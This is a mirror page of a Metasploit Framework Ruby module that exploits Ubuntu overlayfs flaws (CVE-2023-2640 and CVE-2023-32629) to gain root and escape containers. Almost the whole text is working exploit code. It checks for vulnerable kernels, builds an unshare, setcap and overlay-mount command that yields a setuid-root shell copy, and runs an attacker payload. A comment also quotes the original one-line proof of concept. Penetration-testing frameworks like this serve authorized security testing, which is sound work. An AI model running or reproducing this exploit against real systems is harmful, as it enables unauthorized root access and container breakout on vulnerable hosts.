CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/gameoverlay_privesc.rb
Views: 15996
1
class MetasploitModule < Msf::Exploit::Local
2
3
prepend Msf::Exploit::Remote::AutoCheck
4
include Msf::Post::Linux::System
5
include Msf::Post::Linux::Kernel
6
include Msf::Post::File
7
include Msf::Exploit::FileDropper
8
include Msf::Exploit::EXE
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'GameOver(lay) Privilege Escalation and Container Escape',
15
'Description' => %q{
16
This module exploits the use of unsafe functions in a number of Ubuntu kernels
17
utilizing vunerable versions of overlayfs. To mitigate CVE-2021-3493 the Linux
18
kernel added a call to vfs_setxattr during ovl_do_setxattr. Due to independent
19
changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is
20
called during ovl_do_setxattr without calling the intermediate safety function
21
vfs_setxattr. Ultimatly this module allows for root access to be achieved by
22
writing setuid capabilities to a file which are not sanitized after being unioned
23
with the upper mounted directory.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'g1vi', # PoC
28
'h00die', # Module Suggestion
29
'bwatters-r7', # MsF Module
30
'gardnerapp', # MsF Module
31
],
32
'Platform' => ['linux', 'unix'],
33
'SessionTypes' => ['shell', 'meterpreter'],
34
'DisclosureDate' => '2023-07-26',
35
'References' => [
36
['URL', 'https://www.crowdstrike.com/blog/crowdstrike-discovers-new-container-exploit/'],
37
['URL', 'https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629'],
38
['URL', 'https://www.cvedetails.com/cve/CVE-2023-2640/'],
39
['URL', 'https://www.cvedetails.com/cve/CVE-2023-32629/'],
40
['URL', 'https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability'],
41
['CVE', '2023-32629'],
42
['CVE', '2023-2640']
43
],
44
'Targets' => [
45
[
46
'Linux_Binary',
47
{
48
'Arch' => [ ARCH_AARCH64, ARCH_X64 ],
49
'PrependSetuid' => true
50
}
51
],
52
[
53
'Linux_Command',
54
{
55
'Arch' => ARCH_CMD,
56
'Payload' =>
57
{
58
'BadChars' => "\x22\x27"
59
}
60
}
61
]
62
],
63
'Notes' => {
64
'Stability' => [CRASH_SAFE],
65
'Reliability' => [REPEATABLE_SESSION],
66
'SideEffects' => [ARTIFACTS_ON_DISK]
67
}
68
)
69
)
70
register_options [
71
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
72
OptString.new('PayloadFileName', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))])
73
]
74
end
75
76
def vuln
77
# Keys are ubuntu versions, vals is list of vunerable kernels
78
{
79
"Lunar Lobster": %w[6.2.0], # Ubuntu 23.04
80
"Kinetic Kudu": %w[5.19.0], # Ubuntu 22.10
81
"Jammy Jellyfish": %w[5.19.0 6.2.0], # Ubuntu 22.04 LTS
82
"Focal Fossa": %w[5.4.0], # Ubuntu 20.04 LTS
83
"Bionic Beaver": %w[5.4.0] # Ubuntu 18.04 LTS
84
}.transform_keys!(&:to_s) # w/o this key will be :"Bionic Beaver"
85
end
86
87
def check
88
return CheckCode::Safe('Target is not linux.') unless session.platform == 'linux'
89
90
# Must be Ubuntu
91
return CheckCode::Safe('Target is not Ubuntu.') unless kernel_version =~ /[uU]buntu/
92
93
os = cmd_exec 'cat /etc/os-release'
94
95
# grab codename i.e. Focal Fossa
96
codename = os.scan(/\(\w* \w*\)/)[0]
97
98
# Remove '(' and ')'
99
codename.delete_prefix!('(').delete_suffix!(')')
100
101
print_status "Detected Ubuntu version: #{codename}"
102
103
# uname -r
104
# yields something like 5.4.0-1018-blah
105
kernel = kernel_release
106
print_status "Detected kernel version: #{kernel}"
107
108
# Make sure release is running vunerable kernel
109
# will this return in correct context??
110
# could scan kernel to prevent looping if return below doesn't work
111
vuln[codename].each do |version|
112
if kernel.include? version
113
return CheckCode::Vulnerable "#{codename} with #{kernel} kernel is vunerable"
114
end
115
end
116
117
return CheckCode::Safe('Target does not appear to be running a vunerable Ubuntu Distro or Kernel')
118
end
119
120
def exploit
121
pay_dir = datastore['WritableDir']
122
pay_dir += '/' unless pay_dir.ends_with? '/'
123
124
pay_dir += Rex::Text.rand_text_alpha(rand(6..13)) + '/'
125
126
print_status "Creating directory to store payload: #{pay_dir}"
127
mkdir pay_dir
128
129
directories = []
130
directories << pay_dir
131
132
lower_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
133
directories << lower_dir
134
135
upper_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
136
directories << upper_dir
137
138
work_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
139
directories << work_dir
140
141
merge_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
142
directories << merge_dir
143
144
bash_copy = '/var/tmp/' + Rex::Text.rand_text_alpha(rand(6..13))
145
# bash_copy = '/var/tmp/bash'
146
147
directories.each do |dir|
148
print_status "Creating directory #{dir}"
149
mkdir dir.to_s
150
end
151
152
if target.arch.first == ARCH_CMD
153
payload_cmd = payload.encoded
154
else
155
pay_file = datastore['PayloadFilename']
156
payload_path = "#{pay_dir}#{pay_file}"
157
print_status "Writing payload: #{payload_path}"
158
write_file(payload_path, generate_payload_exe)
159
payload_cmd = payload_path
160
end
161
162
# g1vi original
163
# "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
164
165
# Exploit overlayfs vuln
166
# Build the command
167
rmrf_cmd = " rm -rf #{lower_dir} #{merge_dir} #{upper_dir} #{work_dir} #{bash_copy}"
168
169
exploit_cmd = 'unshare -rm sh -c "'
170
exploit_cmd << "cp #{cmd_exec('which python3')} #{lower_dir}; "
171
exploit_cmd << "setcap cap_setuid+eip #{lower_dir}python3; "
172
exploit_cmd << "mount -t overlay overlay -o rw,lowerdir=#{lower_dir},upperdir=#{upper_dir},workdir=#{work_dir} #{merge_dir} && "
173
exploit_cmd << "touch #{merge_dir}*; "
174
exploit_cmd << "#{upper_dir}python3 -c 'import os;os.setuid(0);os.system("
175
exploit_cmd << "\\\"cp /bin/bash #{bash_copy} && chmod +x #{bash_copy} && "
176
if target.arch.first == ARCH_CMD
177
payload_cmd.gsub!('\\\\\\', '\\\\\\\\')
178
exploit_cmd << "#{bash_copy} -p -c \\\\\\\"(#{payload_cmd}); #{rmrf_cmd}\\\\\\\""
179
else
180
exploit_cmd << "chmod +x #{payload_cmd} && #{payload_cmd} & #{rmrf_cmd}"
181
end
182
exploit_cmd << "\\\")'\""
183
output = cmd_exec(exploit_cmd)
184
vprint_status(output)
185
end
186
187
end
188
189